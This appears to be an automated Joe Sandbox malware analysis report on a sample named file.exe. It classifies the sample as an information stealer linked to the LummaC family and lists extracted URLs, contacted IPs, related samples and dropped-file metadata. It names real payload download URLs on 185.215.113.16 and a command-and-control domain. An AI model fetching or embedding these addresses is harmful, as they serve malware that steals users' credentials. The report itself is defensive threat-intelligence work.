http://185.215.113.16/off/def.exez	file.exe, 00000000.00000002.3047443414.0000000001A17000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3045108898.0000000001A17000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2973324944.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2674736216.000000000617A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2674736216.000000000617A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_109.7.dr, chromecache_122.7.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_130.7.dr, chromecache_131.7.dr, chromecache_95.7.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2597930639.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598072119.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2597863853.0000000006189000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_109.7.dr, chromecache_122.7.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_109.7.dr, chromecache_122.7.dr	false		high
https://github.com/gewarren	chromecache_130.7.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2675614263.0000000006276000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_109.7.dr, chromecache_122.7.dr	false		high
https://atten-supporse.biz/apil	file.exe, 00000000.00000003.2674099894.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2714993638.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2674431415.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2715177476.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2715201429.00000000019FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2717670111.0000000001A14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2674453833.00000000019FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2717612657.0000000001A05000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_130.7.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696506299400400001.2&ci=1696506299033.	file.exe, 00000000.00000003.2675939948.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_130.7.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_109.7.dr, chromecache_122.7.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_109.7.dr, chromecache_122.7.dr	false		high
https://atten-supporse.biz/&G	file.exe, 00000000.00000003.2637466375.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2636617426.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_109.7.dr, chromecache_122.7.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2597930639.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598072119.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2597863853.0000000006189000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_130.7.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_109.7.dr, chromecache_122.7.dr	false		high
https://atten-supporse.biz/api9	file.exe, 00000000.00000003.2636617426.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/certhelp	chromecache_109.7.dr, chromecache_122.7.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000002.3047443414.0000000001A17000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3045108898.0000000001A17000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2973324944.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2597930639.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598072119.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2597863853.0000000006189000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2674736216.000000000617A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_130.7.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2674736216.000000000617A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_122.7.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_109.7.dr, chromecache_122.7.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2597930639.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598072119.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2597863853.0000000006189000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2675614263.0000000006276000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_130.7.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2597930639.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598072119.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2597863853.0000000006189000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_130.7.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_109.7.dr, chromecache_122.7.dr	false		high
https://github.com/adegeo	chromecache_130.7.dr	false		high
http://crl.micro	file.exe, 00000000.00000003.2763586824.00000000019D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2846964167.00000000019D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2759654973.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2675939948.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_109.7.dr, chromecache_122.7.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2674736216.000000000617A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_109.7.dr, chromecache_122.7.dr	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000003.2675939948.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbmfQq%2B4pbW4pbWfpbX7ReNxR3UIG8zInwYIFIVs9e	file.exe, 00000000.00000003.2675939948.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000003.2675939948.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_109.7.dr, chromecache_122.7.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.3047443414.0000000001A17000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3046406595.000000000150B000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000003.3045108898.0000000001A17000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2973324944.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_130.7.dr	false		high
https://atten-supporse.biz/	file.exe, 00000000.00000003.2636617426.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2763620702.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2675939948.00000000019F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_109.7.dr, chromecache_122.7.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2597930639.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598072119.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2597863853.0000000006189000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_109.7.dr, chromecache_122.7.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.43	s-part-0015.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
188.114.96.6	atten-supporse.biz	European Union	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.171.228	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.12

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1568436
Start date and time:	2024-12-04 16:09:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/70@11/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.20.68.210, 192.229.221.95, 199.232.214.172, 184.30.26.68, 142.251.37.174, 74.125.131.84, 142.250.200.195, 2.20.41.214, 216.58.211.206, 172.217.17.78, 23.32.239.25, 23.32.239.82, 20.50.73.13, 172.217.17.42, 172.217.17.74, 142.250.181.138, 142.250.181.106, 172.217.19.202, 172.217.21.42, 142.250.181.10, 172.217.19.170, 172.217.19.10, 172.217.19.234, 20.42.65.91, 13.74.129.1, 142.251.37.206, 13.107.21.237, 204.79.197.237, 142.251.37.35
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, onedscolprdeus17.eastus.cloudapp.azure.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, onedscolprdneu10.northeurope.cloudapp.azure.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
10:10:24	API Interceptor	172x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is commonly used for educational or documentation purposes, which aligns with Microsoft's services." ], "riskscore": 1}
URL: learn.microsoft.com Brands: Microsoft Input Fields: unknown

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.43	AudioplaybackVM--00-32AoTranscript.html	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	FW_ Fwd_ Voice Mail Message - 5TH Judicial Circuit.eml	Get hash	malicious	Lure-BasedAttack, HTMLPhisher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	VNC Sales.xlsx	Get hash	malicious	Unknown	Browse
	https://midlandtxconstruction.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5VVmliM0U9JnVpZD1VU0VSMTcxMDIwMjRVMDAxMDE3NDA=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
13.107.246.63	Contract Proposal Documents.pdf	Get hash	malicious	Unknown	Browse	assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/645a21a8-32ac-ef11-b8e8-6045bd0f229c
185.215.113.16	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atten-supporse.biz	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
s-part-0035.t-0009.t-msedge.net	Uii3leknna.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	3FHcnOdHz2.lnk	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://trinasolarus-my.sharepoint.com/:f:/g/personal/matt_hutchison_trinasolar_com/EuTm6V8CKxFPmV0-8tDYkU8B7bgg8BNpE1Urptg3NNJsZw?e=bQub2M	Get hash	malicious	Unknown	Browse	13.107.246.63
	H1WNju5cCI.dll	Get hash	malicious	Remcos	Browse	13.107.246.63
	1nbqpDK2ZJ.dll	Get hash	malicious	Remcos	Browse	13.107.246.63
	eF13KEkEKy.dll	Get hash	malicious	Remcos	Browse	13.107.246.63
	rukT6hBo6P.exe	Get hash	malicious	Phemedrone Stealer	Browse	13.107.246.63
	https://bdb142c8309e44b2310105b0e00240d6.surge.sh/	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://indiollanero7nudos.com	Get hash	malicious	Unknown	Browse	13.107.246.63
	Activation.exe	Get hash	malicious	Phemedrone Stealer	Browse	13.107.246.63
s-part-0015.t-0009.t-msedge.net	AudioplaybackVM--00-32AoTranscript.html	Get hash	malicious	Unknown	Browse	13.107.246.43
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.43
	file.exe	Get hash	malicious	XWorm	Browse	13.107.246.43
	file.dll	Get hash	malicious	Unknown	Browse	13.107.246.43
	FW_ Fwd_ Voice Mail Message - 5TH Judicial Circuit.eml	Get hash	malicious	Lure-BasedAttack, HTMLPhisher	Browse	13.107.246.43
	UdY4Kc66Bc.exe	Get hash	malicious	Unknown	Browse	13.107.246.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.43
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.43
	file.exe	Get hash	malicious	Remcos	Browse	13.107.246.43

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://trinasolarus-my.sharepoint.com/:f:/g/personal/matt_hutchison_trinasolar_com/EuTm6V8CKxFPmV0-8tDYkU8B7bgg8BNpE1Urptg3NNJsZw?e=bQub2M	Get hash	malicious	Unknown	Browse	20.42.73.31
	Welcome To Raise.eml	Get hash	malicious	Unknown	Browse	52.109.76.243
	https://bdb142c8309e44b2310105b0e00240d6.surge.sh/	Get hash	malicious	Unknown	Browse	150.171.28.10
	https://indiollanero7nudos.com	Get hash	malicious	Unknown	Browse	20.70.246.20
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	sF5nNt8usL.bat	Get hash	malicious	Unknown	Browse	13.107.9.158
	oLY6JbNl9i.bat	Get hash	malicious	Unknown	Browse	13.107.9.158
	9aTcxCmLgM.bat	Get hash	malicious	Unknown	Browse	13.107.9.158
	4l5IFxl9t3.bat	Get hash	malicious	Unknown	Browse	13.107.9.158
	B3N4x4meoJ.bat	Get hash	malicious	Unknown	Browse	13.107.9.158
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://trinasolarus-my.sharepoint.com/:f:/g/personal/matt_hutchison_trinasolar_com/EuTm6V8CKxFPmV0-8tDYkU8B7bgg8BNpE1Urptg3NNJsZw?e=bQub2M	Get hash	malicious	Unknown	Browse	20.42.73.31
	Welcome To Raise.eml	Get hash	malicious	Unknown	Browse	52.109.76.243
	https://bdb142c8309e44b2310105b0e00240d6.surge.sh/	Get hash	malicious	Unknown	Browse	150.171.28.10
	https://indiollanero7nudos.com	Get hash	malicious	Unknown	Browse	20.70.246.20
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	sF5nNt8usL.bat	Get hash	malicious	Unknown	Browse	13.107.9.158
	oLY6JbNl9i.bat	Get hash	malicious	Unknown	Browse	13.107.9.158
	9aTcxCmLgM.bat	Get hash	malicious	Unknown	Browse	13.107.9.158
	4l5IFxl9t3.bat	Get hash	malicious	Unknown	Browse	13.107.9.158
	B3N4x4meoJ.bat	Get hash	malicious	Unknown	Browse	13.107.9.158
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	Recent Services Delays Update.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	173.222.162.60
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.60
	https://cdn.tailwindcss.com	Get hash	malicious	Unknown	Browse	173.222.162.60
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.60
	idl57nk7gk.exe	Get hash	malicious	Neshta	Browse	173.222.162.60
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.60
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.60
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.60
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.60
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	173.222.162.60
28a2c9bd18a11de089ef85a160da29e4	https://bdb142c8309e44b2310105b0e00240d6.surge.sh/	Get hash	malicious	Unknown	Browse	13.107.246.63 23.218.208.109 20.12.23.50
	Recent Services Delays Update.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	13.107.246.63 23.218.208.109 20.12.23.50
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63 23.218.208.109 20.12.23.50
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 23.218.208.109 20.12.23.50
	QwLii5vouB.exe	Get hash	malicious	Unknown	Browse	13.107.246.63 23.218.208.109 20.12.23.50
	https://cdn.tailwindcss.com	Get hash	malicious	Unknown	Browse	13.107.246.63 23.218.208.109 20.12.23.50
	o26qobnkQI.exe	Get hash	malicious	Vidar	Browse	13.107.246.63 23.218.208.109 20.12.23.50
	sF5nNt8usL.bat	Get hash	malicious	Unknown	Browse	13.107.246.63 23.218.208.109 20.12.23.50
	oLY6JbNl9i.bat	Get hash	malicious	Unknown	Browse	13.107.246.63 23.218.208.109 20.12.23.50
	9aTcxCmLgM.bat	Get hash	malicious	Unknown	Browse	13.107.246.63 23.218.208.109 20.12.23.50
a0e9f5d64349fb13191bc781f81f42e1	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.6
	wa6qrGANga.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.6
	1DDHIzYyor.exe	Get hash	malicious	DBatLoader	Browse	188.114.96.6
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.6
	file.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.6
	file.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.6
	xi4HNTgb7wewrDQ.doc	Get hash	malicious	Unknown	Browse	188.114.96.6
	creatednew.hta	Get hash	malicious	Cobalt Strike, DBatLoader, HTMLPhisher	Browse	188.114.96.6
	file.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.6
	https://lcatterton.adobesign.gr.com/ryani8QmoTxrrisAT5lc4kattertoTxni8Qc4koTxm	Get hash	malicious	HTMLPhisher	Browse	188.114.96.6

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 4 14:11:13 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.9801200194700437
Encrypted:	false
SSDEEP:	48:8q5dxTOGHAWidAKZdA1kehwiZUklqehWy+3:8qN6pJy
MD5:	4A68E3E71CB406D4B52F32129F94DD16
SHA1:	9A456FC6A960E6918B1BB2296445C79CDEF82614
SHA-256:	74E9FD4CD89685A25BA3EB7227A53A16E3565E0AD820F7518BA61443D137E459
SHA-512:	CA6ED2DE726EB846CEB6CDAC2D853AF6F6631D29FCD38997EB768D70636B5E1DB6DAFE9D3CBA6154160709184F7A2AA031B70AA3802E6E80F564ABA8540B8B91
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....KB.^F......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.a..PROGRA~1..t......O.I.Yfy....B...............J........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yfy....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.[..Chrome..>......CW.V.Yfy....M......................xN.C.h.r.o.m.e.....`.1.....EW.[..APPLIC~1..H......CW.V.Yfy............................P.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Ygy.....d......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........y2DK.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

